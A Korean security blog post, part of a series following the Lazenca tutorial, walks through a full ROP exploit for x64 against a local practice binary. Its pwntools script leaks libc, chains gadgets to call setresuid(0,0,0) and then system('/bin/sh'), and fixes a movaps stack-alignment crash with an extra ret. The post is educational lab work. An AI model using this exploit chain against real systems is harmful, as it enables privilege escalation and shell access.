[LAZENCA] ROP-x64 part.4
이전 포스팅
[LAZENCA] ROP-x64 part.1
참고 자료 https://www.lazenca.net/display/TEC/02.ROP%28Return+Oriented+Programming%29-x64 02.ROP(Return Oriented Programming)-x64 - TechNote - Lazenca.0x0 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x64
yi-barrack.tistory.com
[LAZENCA] ROP-x64 part.2
이전 포스팅 2023.11.09 - [시스템해킹] - [LAZENCA] ROP-x64 part.1 [LAZENCA] ROP-x64 part.1 참고 자료 https://www.lazenca.net/display/TEC/02.ROP%28Return+Oriented+Programming%29-x64 02.ROP(Return Oriented Programming)-x64 - TechNote - Lazenca.0
yi-barrack.tistory.com
[LAZENCA] ROP-x64 part.3
이전 포스팅 [LAZENCA] ROP-x64 part.1 참고 자료 https://www.lazenca.net/display/TEC/02.ROP%28Return+Oriented+Programming%29-x64 02.ROP(Return Oriented Programming)-x64 - TechNote - Lazenca.0x0 Excuse the ads! We need some help to keep our site up.
yi-barrack.tistory.com
참고 자료
02.ROP(Return Oriented Programming)-x64 - TechNote - Lazenca.0x0
Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x64 ROP( Return-oriented programming )는 공격자가 실행 공간 보호(NXbit) 및 코드 서명(Code signing)과 같은 보안 방어가있는 상태
www.lazenca.net
자 이제 익스의 시간이 다가왔다.
그 전에 내가 찾은 가젯들은 전부 libc에 있던 가젯들이다. 따라서 libc와의 offset을 구한 이후 사용해야 한다. 원래는 binary 안에 있는 가젯들만 쓰면 좋은데 없는걸 어떡함. ㅋ
자 일단 local_libcbase(1회성) 값을 변수로 설정해준다.
여기서 사용하고 있는 주소값들은 저번 포스팅과 다르다.(프로그램을 다시 실행시켰거든. ㅎ)
이후에 printf, system, setresuid의 offset을 변수로 지정해준다.
from pwn import *
from struct import *
#context.log_level = 'debug'
#64bit OS - /lib/x86_64-linux-gnu/libc.so.6
local_libcbase = 0x7ff71e3a2000
libcbase_printf_offset = 0x606f0
libcbase_system_offset = 0x50d70
libcbase_setresuid_offset = 0xec420
"/bin/sh" 의 offset 구한 값도 지정해준다.
binsh_offset = 0x1d8698
우리가(내가) 찾은 가젯에 offset을 구해준다. 이 값은 local_libcbase를 가젯에서 빼주면 된다.
pop_rdi_ret_offset = 0x00007ff71e5d751e-local_libcbase
pop_rsi_ret_offset = 0x00007ff71e5d94da-local_libcbase
pop_rdx_ret_offset = 0x00007ff71e5f4323-local_libcbase
이후 문제에서 주어주는 printf address 값을 저장하고 이 값에서 printf offset을 빼주면 libc의 베이스 주소가 나온다.
반환되는 값에서 offset을 뺀것임으로 매번 정확한 베이스 주소가 나온다
r = process('./rop')
gdb.attach(r)
sleep(5)
r.recvn(10)
r.recvuntil(b'Printf() address : ')
libcbase = int(r.recvuntil(b'\n'),16)
libcbase -= libcbase_printf_offset
자. 이제 payload를 작성해보자.
앞선 vuln 함수의 ret 주소는 72바이트 차이가 났고 따라서 A를 72작성한다.
자 이 이후에 어케 작성해야 하냐....
이런 순서로 작성해야 한다.
차근차근 살펴보자
ret 주소에 pop rdi 가젯을 씌운다.
이렇게 되면 pop rdi; ret; 을 사용한다.
pop rdi를 사용할 때 ad1870에 위치한 0x0 값이 rdi 레지스터에 들어간다. 이러면 rsp값이 8증가하고 ret을 할때 다음 가젯인 pop rsi로 가게된다.
pop rsi 가젯은 pop rsi; ret; 으로 이루어져 있고, 앞선 로직과 마찬가지로 0값이 rsi에 들어가고 ret은 pop rdx 가젯으로 하게 된다.
pop rdx가젯은 pop rdx; pop rsi; ret; 으로 이루어져 있다. (rsi 맞나?) 하지만 이는 중요하지 않다.
pop 두번으로 rdx와 rsi에 0값이 들어가고 ret으로 setresuid로 가게 된다.
이후 setresuid 함수에서 각 레지스터 값인 0,0,0을 사용해 setresuid(0,0,0) 이 실행되고 ret으로 pop rdi 가 실행된다.
이렇게 되면 rdi 값에 '/bin/sh' 문자열의 주소가 저장되고, 이후 system 함수로 ret 되어 system("/bin/sh") 이 실행되는 것이다!
payload = b"A"*72
payload += p64(pop_rdi_ret_offset+libcbase)
payload += p64(0)
payload += p64(pop_rsi_ret_offset+libcbase)
payload += p64(0)
payload += p64(pop_rdx_ret_offset+libcbase)
payload += p64(0)
payload += p64(0)
payload += p64(libcbase_setresuid_offset+libcbase)
payload += p64(pop_rdi_ret_offset+libcbase)
payload += p64(libcbase+binsh_offset)
payload += p64(libcbase_system_offset+libcbase)
r.send(payload)
r.interactive()
하지만.... 인생은 쉽지 않지.
해당 코드를 실행시키면 system 함수까지 무난히 실행되다가
해당 movaps 에서 segfault가 발생한다...
movaps는 16바이트 경계에 맞지 않을때 segfault를 발생시킨다.
x64 우분투 18.04부터 추가된 Stack Alignment라고 한다.(역시 갓 갓 갓 pwndori님)
system 함수에서 내부적으로 호출하는 do_system 함수 안에 movaps 명령어가 있고, 이 명령어는 메모리 주소 가장 마지막 16진수 자리가 0이여야 한다. 안그러면 segfault 발생.
이게 유지되는 이유는 call로 스택에 return address를 넣을때 0x8 감소, 이후에 push ebp로 다시 0x8 감소. 즉 push 두번이니까 0x10 감소해서 Stack align 된 상태이다. 따라서 rop할때도 이를 지켜 주어야 한다.(우연치 않게 지켜질 수도 있음)
유명한 hackyboiz 아주 갓갓갓갓 좋은 정보 글이다. 한번 읽어보도록 하자. 아니 100번 읽어도 유익하다.
https://hackyboiz.github.io/2020/12/06/fabu1ous/x64-stack-alignment/
hackyboiz
hack & life
hackyboiz.github.io
그래서 이에 따라 sub rsp, 8; 로 감소시키거나 ret을 한번 더 실행시켜서 맞추는 방법이 있다. 일반적으로 ret을 한번 더 실행시킨다고 한다.
from pwn import *
from struct import *
#context.log_level = 'debug'
#64bit OS - /lib/x86_64-linux-gnu/libc.so.6
local_libcbase = 0x7ff71e3a2000
libcbase_printf_offset = 0x606f0
libcbase_system_offset = 0x50d70
libcbase_setresuid_offset = 0xec420
binsh_offset = 0x1d8698
pop_rdi_ret_offset = 0x00007ff71e5d751e-local_libcbase
pop_rsi_ret_offset = 0x00007ff71e5d94da-local_libcbase
pop_rdx_ret_offset = 0x00007ff71e5f4323-local_libcbase
#sub_rsp_8_syscall_offset = 0x00007f2e1828db42-0x7f2e181ed000
r = process('./rop')
#gdb.attach(r)
#sleep(5)
r.recvn(10)
r.recvuntil(b'Printf() address : ')
libcbase = int(r.recvuntil(b'\n'),16)
libcbase -= libcbase_printf_offset
payload = b"A"*72
payload += p64(pop_rdi_ret_offset+libcbase)
payload += p64(0)
payload += p64(pop_rsi_ret_offset+libcbase)
payload += p64(0)
payload += p64(pop_rdx_ret_offset+libcbase)
payload += p64(0)
payload += p64(0)
payload += p64(libcbase_setresuid_offset+libcbase)
payload += p64(pop_rdi_ret_offset+libcbase)
payload += p64(libcbase+binsh_offset)
payload += p64(pop_rsi_ret_offset+libcbase+1)
payload += p64(libcbase_system_offset+libcbase)
#payload += p64(sub_rsp_8_syscall_offset+libcbase)
r.send(payload)
r.interactive()
문제 없이 system 함수에 있는 movaps를 넘어갔고
성공했다... 대 장 정 이였다.